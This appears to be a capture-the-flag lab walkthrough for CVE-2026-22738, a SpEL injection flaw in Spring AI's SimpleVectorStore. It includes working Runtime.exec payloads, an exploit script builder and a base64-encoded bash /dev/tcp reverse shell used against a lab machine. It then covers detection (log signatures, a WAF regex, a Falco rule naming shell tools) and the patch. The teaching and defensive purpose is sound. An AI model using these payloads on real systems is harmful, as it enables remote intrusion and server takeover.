Skip to main contentSkip to main content
Room Banner
Back to all walkthroughs
Room Icon

Spring AI: CVE-2026-22738

Exploit CVE-2026-22738: unauthenticated RCE via SpEL injection in Spring AI's SimpleVectorStore.

medium

45 min

2,020

User profile photo.
User profile photo.
User profile photo.

To access material, start machines and answer questions login.

Spring 1.0 shipped in May 2025 as the first stable release of the Java framework designed to simplify the development of -powered applications. By wrapping OpenAI, Ollama, and other model providers behind a consistent , it made it easy for Java developers to add features to existing Spring Boot services. Adoption was fast. By early 2026, Spring had become a standard dependency across internal enterprise tools, customer-facing chatbots, and -assisted search backends.

-2026-22738, published on 26 March 2026, sits in one of Spring 's storage components: SimpleVectorStore. It is CVSS 9.8 Critical, unauthenticated and requiring no user interaction. An attacker who can reach an exposed API endpoint can achieve full remote code execution on the server, with no credentials and no preparation beyond sending a crafted HTTP request.

How a RAG Pipeline Works

To understand where this vulnerability sits, we need a rough picture of how Spring AI is typically used. In a Retrieval-Augmented Generation (RAG) pipeline, documents are converted into numerical vectors, called embeddings, and stored in a vector store. When a user asks a question, the application searches the vector store for the most relevant documents, then passes those documents alongside the question to the language model to produce a grounded answer.

SimpleVectorStore is Spring 's built-in in-memory vector store. It uses a ConcurrentHashMap under the hood and is documented as a component for development and testing. It turns up in production when a prototype never gets migrated to a proper backend, which is more common than the documentation intends.

Spring Expression Language

Spring Expression Language (SpEL) is a general-purpose expression engine used throughout the Spring Framework. It powers conditional bean loading in Spring Boot, access-control expressions in Spring Security, and @Query annotations in Spring Data JPA. SpEL supports property access, method invocation, and type operations. When evaluated against trusted, internal data it is safe. When user input reaches the evaluator without sanitisation, it becomes a code execution primitive.

We will work through the full attack chain against a deployed Spring Boot RAG application running vulnerable Spring AI 1.0.4: tracing the vulnerable code path, crafting SpEL payloads, catching a reverse shell, then switching perspective to detect and patch the vulnerability.

Along the way, we will cover why the default evaluation context is dangerous, how StandardEvaluationContext differs from SimpleEvaluationContext at the code level, and what log and process signals to look for when this is being exploited.

Prerequisites

Familiarity with and Server-Side Template Injection helps most here. SSTI in particular shares the same root cause: evaluating user input as code. The  Top 10 2025 is a useful background on injection as a category.

Spring4Shell applies to Spring Boot applications, but it is not required.

SimpleVectorStore supports metadata filtering, which lets a caller narrow the candidate documents before similarity ranking. A SearchRequest is passed with a filterExpression describing which documents to include, for example, country == 'US' to restrict results to documents tagged with that metadata value. Internally, this expression is handed to SimpleVectorStoreFilterExpressionEvaluator, the class responsible for turning that filter into a JVM-level predicate.

The evaluator builds a SpEL expression string by concatenating the filter key into a template:

Filter Expression Template
// Simplified representation of the evaluator's approach
String spel = "#metadata['" + filterKey + "'] == '" + filterValue + "'";
evaluationContext.evaluate(spel);

When filterKey is country, the expression becomes #metadata['country'] == 'US'. That is the intended operation. The problem is not the template structure, it is the evaluation context used to execute the expression.

StandardEvaluationContext vs SimpleEvaluationContext

SpEL has two evaluation contexts that control what an expression is allowed to do:

Context What it exposes Appropriate use
StandardEvaluationContext Full JVM reflection: method invocation, type loading via T(...), bean access Internal framework operations with trusted input only
SimpleEvaluationContext Read-only property and array access, no type loading Any expression that touches user-controlled input

StandardEvaluationContext is the framework default. It exposes the T(ClassName) operator, which loads an arbitrary Java class at runtime. The classic exploitation form is:

SpEL RCE Payload
T(java.lang.Runtime).getRuntime().exec("id")

Flags explained:

  • T(java.lang.Runtime), load the Runtime class from the JVM via reflection
  • .getRuntime(), get the current JVM's Runtime instance
  • .exec("id"), spawn an OS process and return a Process object (concretely ProcessImpl on standard JVMs)

With StandardEvaluationContext, any expression that can be written as a string can invoke any method in the JVM. When that string contains user-supplied input, the user controls the program's execution.

The T(...) Type Expression

T(...) is SpEL's type operator. It takes a fully qualified class name and returns the class itself, giving access to static methods and fields without any explicit Java reflection boilerplate.

For java.lang.Runtime, the static method getRuntime() returns the current JVM's runtime instance, and exec() on that instance launches an OS process. Beyond Runtime, there are other useful targets:

Expression Effect
T(java.lang.Thread).sleep(5000) Pause the JVM for five seconds, useful for timing-based blind confirmation
T(java.lang.System).getProperty('java.version') Read a JVM property, confirms SpEL evaluation without OS interaction
T(java.lang.Runtime).getRuntime().exec(...) Spawn an process, full RCE

The Attack Surface

Any Spring AI application that accepts a user-controlled HTTP parameter, places it into a SearchRequest.filterExpression key without validation, and calls SimpleVectorStore.similaritySearch() with that request is vulnerable. This pattern is common in RAG backends, where users filter documents by metadata such as language, category, or date range. The application developer associates the user's filter selection with the search request without treating it as untrusted input.

A Recurring Pattern: CVE-2022-22963

CVE-2026-22738 is not the first time a Spring component has shipped StandardEvaluationContext as the evaluator for user-supplied input. In 2022, -2022-22963 hit Spring Cloud Function: an HTTP header named spring.cloud.function.routing-expression allowed callers to route requests to functions by name, and that expression was evaluated with StandardEvaluationContext. The result was the same: unauthenticated RCE, CVSS 9.8.

The fix in Spring Cloud Function was identical to the fix in Spring AI four years later. Replace StandardEvaluationContext with SimpleEvaluationContext. The pattern recurs because StandardEvaluationContext is the framework default, and developers who reach for SpEL for a new feature do not always consider what happens when the input is untrusted.

Spring4Shell (-2022-22965) is a different class entirely, a data binding gadget that does not involve SpEL. It is worth keeping separate from this pattern.

ATT&CK maps this attack to T1190 (Exploit Public-Facing Application) for initial access and T1059.004 (Unix Shell) for execution via the resulting reverse shell.

Answer the questions below

What evaluation context does the vulnerable version use to evaluate filter expressions?

What SpEL operator loads a Java class by its fully qualified name?

What Spring component had the same SpEL injection flaw in 2022?

Both scripts are available to download from this task.

Before we touch the machine, it is worth understanding exactly what each tool does. Running a script against a live target without knowing its internals is how things go wrong, and in this case the internals also explain the vulnerability clearly.

exploit.py

exploit.py runs a four-stage attack chain against the /search endpoint. Each stage builds on the last, moving from a passive check to confirmed OS-level code execution.

Stage 1 (step_baseline) sends a normal GET request:

GET /search?filterKey=country&filterValue=US&query=hello

This confirms the endpoint is alive and that the application returns a seeded document with a country: US metadata field. If Stage 1 fails, there is no point continuing.

Stage 2 (step_spel_probe) injects a read-only SpEL expression into the filterKey parameter:

"'] + T(java.lang.System).getProperty('java.version') + #metadata['"

This uses T(java.lang.System) to read the JVM's java.version property. No OS process is spawned here. If the Java version string appears in the response body, or we receive an evaluation error instead of a normal response, both outcomes confirm that our input reached the SpEL evaluator. This is the injection point.

Stage 3 (step_rce_touch) escalates to execution using T(java.lang.Runtime). The command is harmless: touch /tmp/pwned_cve_2026_22738. We do not need the command's output to come back in the HTTP response. We look for something else instead. When exec() returns, SpEL tries to concatenate the resulting ProcessImpl object with the surrounding expression using the ADD operator. It cannot, so it throws:

EL1030E: The operator 'ADD' is not supported between objects of type 'null' and 'java.lang.ProcessImpl'

That error appears in the HTTP response body, and it fires after the process was already spawned. In the script, this is the success check:

RCE_INDICATOR = "EL1030E"

Seeing EL1030E in the response body is how exploit.py confirms that Runtime.exec() was invoked.

Stage 4 (step_rce_id) writes the output of id, uname -a, and cat /etc/hostname to /tmp/rce_proof.txt. This gives us three pieces of identifying information about the target without needing an interactive shell.

The core payload builder used in Stages 3 and 4 is:

def spel_filter_key(cmd: str) -> str:
    return (
        f'''"'] + T(java.lang.Runtime).getRuntime().exec('''
        f'''new String[]{{'/bin/bash','-c','{cmd}'}}) + #metadata['"'''
    )

The outer double quotes are not decoration. When filterKey starts with a single quote, the filter text parser treats it as a quoted string literal and strips the surrounding quotes before constructing the SpEL expression, which mangles the payload. Wrapping in double quotes causes the parser to strip those instead, leaving the inner single-quoted content to be embedded verbatim into the SpEL template. The evaluator then sees a valid expression with our command in it.

Attacker Terminal
python3 exploit.py --target http://MACHINE_IP:8082
python3 exploit.py --target http://MACHINE_IP:8082 --wait

Flags explained:

  • --target, base URL of the vulnerable application
  • --wait, poll /search until the app responds before running the exploit stages

listener.py

listener.py handles the reverse shell. It has two modes.

In listener-only mode, it binds a TCP socket and waits for an incoming connection. Once a shell connects, it enters an interactive loop that forwards your stdin to the socket and prints everything the shell sends back.

In --exploit mode, it starts the listener first, then fires the SpEL reverse shell payload in a background thread. Starting the listener before firing the payload matters: the target machine connects back almost immediately, and if the socket is not ready, it misses the connection.

The reverse shell payload has a character conflict problem. The raw bash command, bash -i >& /dev/tcp/IP/PORT 0>&1, contains >& and / characters that break the filter parser if passed as plain text inside single quotes. The script avoids this by base64-encoding the entire shell command first:

def build_revshell_payload(lhost: str, lport: int) -> str:
    bash_cmd = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
    b64 = base64.b64encode(bash_cmd.encode()).decode()
    cmd = f"echo {b64}|base64 -d|bash"
    return spel_filter_key(cmd)

The encoded payload decodes and executes cleanly inside the SpEL expression without any single-quote conflicts reaching the parser.

When a shell connects, listener.py automatically sends whoami, id, and a hostname/IP command to identify the execution context. We see the answers without typing anything.

Attacker Terminal
python3 listener.py --lhost YOUR_VPN_IP --lport 4444 --exploit --target http://MACHINE_IP:8082

Flags explained:

  • --lhost, the IP the target can reach us on (our THM VPN IP, visible via ip a on the tun0 interface)
  • --lport, the port to listen on
  • --exploit, build and fire the SpEL payload after starting the listener
  • --target, the vulnerable application URL

How They Fit Together

exploit.py is the confirmation tool. We run it first to walk through Stages 1- 4 and verify RCE without committing to an interactive shell. It leaves a file on disk and writes system information to /tmp/rce_proof.txt. Once we know the injection works, we move to listener.py to catch the reverse shell and interact with the server directly.

Answer the questions below

What string in the HTTP response confirms that exec() fired?

What file does Stage 3 create on the target?

What flag makes listener.py fire the payload and listen in one command?

Set up your virtual environment

To successfully complete this room, you'll need to set up your virtual environment. This involves starting the Target Machine, ensuring you're equipped with the necessary tools and access to tackle the challenges ahead.
Target machine
Status:Off

The deployed machine runs a Spring Boot application backed by Spring 1.0.4. It acts as a chatbot : documents have been seeded into SimpleVectorStore with metadata including a country field, and the /search endpoint accepts a filter key and value to restrict which documents are considered during similarity search.

Start the machine and wait until the web service is ready on port 8082.

Stage 1: Baseline Check

Before injecting anything, we confirm the endpoint behaves as expected. Using curl, a normal request with filterKey=country and filterValue=US should return a seeded document:

Baseline Check
curl "http://MACHINE_IP:8082/search?filterKey=country&filterValue=US&query=hello"

A successful response returns a JSON document with a country: US metadata field. If the application is not ready yet, wait a few seconds and retry, or use exploit.py with the --wait flag which polls the endpoint before proceeding:

Attacker Terminal
python3 exploit.py --target http://MACHINE_IP:8082 --wait

Flags explained:

  • --target, base URL of the vulnerable application
  • --wait, poll /search until the app responds before running the exploit stages

Stage 2: Blind SpEL Probe

Before triggering OS execution, we confirm that our input reaches the SpEL evaluator. exploit.py sends a read-only probe using T(java.lang.System).getProperty('java.version') as the filterKey. No process is spawned. A Java version string in the response body, or any SpEL evaluation error, confirms the injection point is live.

The double-quote wrapping we examined in Task 3 is what makes the payload reach the evaluator intact. exploit.py handles parameter encoding automatically at this stage.

Stage 3: RCE Confirmation

With SpEL evaluation confirmed, exploit.py escalates to OS execution using the payload structure we examined in Task 3: T(java.lang.Runtime).getRuntime().exec() with touch /tmp/pwned_cve_2026_22738 as the command. We look for EL1030E in the HTTP response. That error fires after exec() returns, confirming the process was spawned even though we have no in-band command output.

Run the full four-stage chain:

Attacker Terminal
python3 exploit.py --target http://MACHINE_IP:8082

Stage 3 prints a confirmation line when EL1030E appears in the response. Stage 4 writes id, uname -a, and the hostname to /tmp/rce_proof.txt on the target.

Stage 4: Reverse Shell

Now we catch an interactive shell. listener.py in --exploit mode starts the listener first, then fires the reverse shell payload in a background thread, so the socket is ready before the shell connects. The payload is base64-encoded to avoid single-quote conflicts with the filter parser, as covered in Task 3.

Attacker Terminal
python3 listener.py --lhost YOUR_VPN_IP --lport 4444 --exploit --target http://MACHINE_IP:8082

Flags explained:

  • --lhost, the IP our machine is reachable on from the target (our THM VPN IP, visible via ip a on the tun0 interface)
  • --lport, the port to listen on
  • --exploit, build and fire the SpEL payload after starting the listener
  • --target, the vulnerable application URL

When the shell connects, listener.py automatically runs whoami, id, and a hostname/IP command. The application runs as root, so the flag is immediately readable:

Attacker Terminal
cat /root/flag.txt
Answer the questions below

What port is the vulnerable application running on?

What user is the application running as?

What is the flag at /root/flag.txt?

Switching perspective: if this application were running in production and an attacker exploited -2026-22738, what would we see, and what would we do about it?

Application Log Signatures

When a SpEL payload triggers the EL1030E error, the application logs a Java exception. The stack trace includes two strings that are reliable indicators of exploitation attempts:

Application Log
org.springframework.expression.spel.SpelEvaluationException: EL1030E:
  The operator 'ADD' is not supported between objects of type
  'null' and 'java.lang.ProcessImpl'
    at org.springframework.ai.vectorstore.SimpleVectorStoreFilterExpressionEvaluator.evaluate(...)    

SpelEvaluationException in the stack trace of a vector store component is not a normal application error. A log aggregation pipeline, whether Splunk, Elasticsearch, or CloudWatch, should alert when both SpelEvaluationException and SimpleVectorStoreFilterExpressionEvaluator appear together in the same stack trace. That combination is not a path the application reaches through normal use.

Note that this signature only appears when the ADD operation fails after exec() returns. A payload that avoids triggering that error path produces no log entry, which is why process-level monitoring (covered below) is the more reliable backstop.

HTTP Request Indicators

The SpEL payload travels as a query parameter in a GET request. A WAF or API gateway inspecting incoming requests should alert when the filterKey parameter containsT(java. (the SpEL type operator), getRuntime.exec( (narrowed to avoid false positives on field names like executorId), or ProcessBuilder.

A regex pattern covering the type operator:

T\s*\(java\.lang\.(Runtime|ProcessBuilder)

There is a critical caveat with this regex. SpEL is whitespace-tolerant. The expressions T(java.lang.Runtime) and T ( java.lang.Runtime ) are identical to the evaluator. A WAF rule that does a simple substring match on T(java.lang.Runtime) can be bypassed by inserting spaces. Effective detection must normalise or strip whitespace before matching, or use a pattern that allows optional whitespace between T(, and the class name.

JVM Child-Process Monitoring

A Spring Boot application serving HTTP requests has no legitimate reason to spawn a bashsh, or curl child process. OS-level process monitoring catches the reverse shell even when the HTTP payload is obfuscated beyond WAF detection.

A Falco rule that covers this:

Falco Rule

- rule: Java process spawns shell
  desc: A Java process spawned a shell, possible SpEL injection exploitation
  condition: >
    spawned_process and
    proc.pname = "java" and
    proc.name in (bash, sh, dash, curl, wget)
  output: >
    Shell spawned by Java process
    (pid=%proc.pid command=%proc.cmdline parent=%proc.pname)
  priority: CRITICAL    

Equivalent coverage is available with auditd by watching execve syscalls from processes whose parent is a JVM. Either approach catches the shell spawn regardless of how the payload was delivered.

Patching

The fix in Spring AI 1.0.5 and 1.1.4 is a single-line change in SimpleVectorStoreFilterExpressionEvaluator. The dangerous context is replaced with a restricted one:

Patch Diff
// Before: Spring AI 1.0.4 and earlier
EvaluationContext ctx = new StandardEvaluationContext();

// After: Spring AI 1.0.5
EvaluationContext ctx = SimpleEvaluationContext.forReadOnlyDataBinding().build();    

SimpleEvaluationContext.forReadOnlyDataBinding() disables the T(...) operator entirely. No payload variation can load a Java class when the context does not support it, so the entire vulnerability class is closed with a one-line change.

To apply the patch, update the spring-ai-core dependency version in pom.xml or build.gradle:

Maven Dependency Update
<dependency>
    <groupId>org.springframework.ai</groupId>
    <artifactId>spring-ai-core</artifactId>
    <version>1.0.5</version>
</dependency>    

Temporary Mitigation

If upgrading immediately is not possible, an input validation layer can block the most obvious payloads. Reject any filterKey value containingT(getRuntime, or exec. An attacker familiar with SpEL internals may find alternative execution paths not covered by a keyword blocklist, so treat this as a stopgap. The only complete solution is to upgrade to 1.0.5 or 1.1.4.

Answer the questions below

What Java exception class appears in the stack trace during exploitation?

What Spring AI version fixes CVE-2026-22738 for the 1.0.x branch?

What evaluation context does the patched version use?

-2026-22738 follows a direct path: user input arrives in an query parameter, flows into a SpEL template without sanitisation, and reaches StandardEvaluationContext, which treats it as a trusted expression and executes whatever it contains. A single T(java.lang.Runtime).getRuntime().exec() call later, the attacker has a shell. Changing a single line in a single class closes the vulnerability entirely.

The wider point is that expression language injection is a pattern, not a one-off. SpEL, OGNL, and Java EL all share the same root cause: user input is passed to an expression evaluator configured for trusted data. Template engines like FreeMarker and Jinja2 reach the same outcome via a different mechanism, SSTI, where the template itself is attacker-controlled rather than the evaluator context. CVE-2022-22963 used the same technique against Spring Cloud Function four years earlier. The Spring component and entry point changed, but the vulnerability class persisted because StandardEvaluationContext remained the default.

Next Rooms

  • Spring4Shell, a different Spring class using a data binding gadget rather than SpEL injection, showing how the same framework can fail in different ways
  • Server-Side Template Injection, the related class of injection where user input controls the template itself rather than the evaluator context
  • Top 10 2025, the broader injection category this vulnerability falls under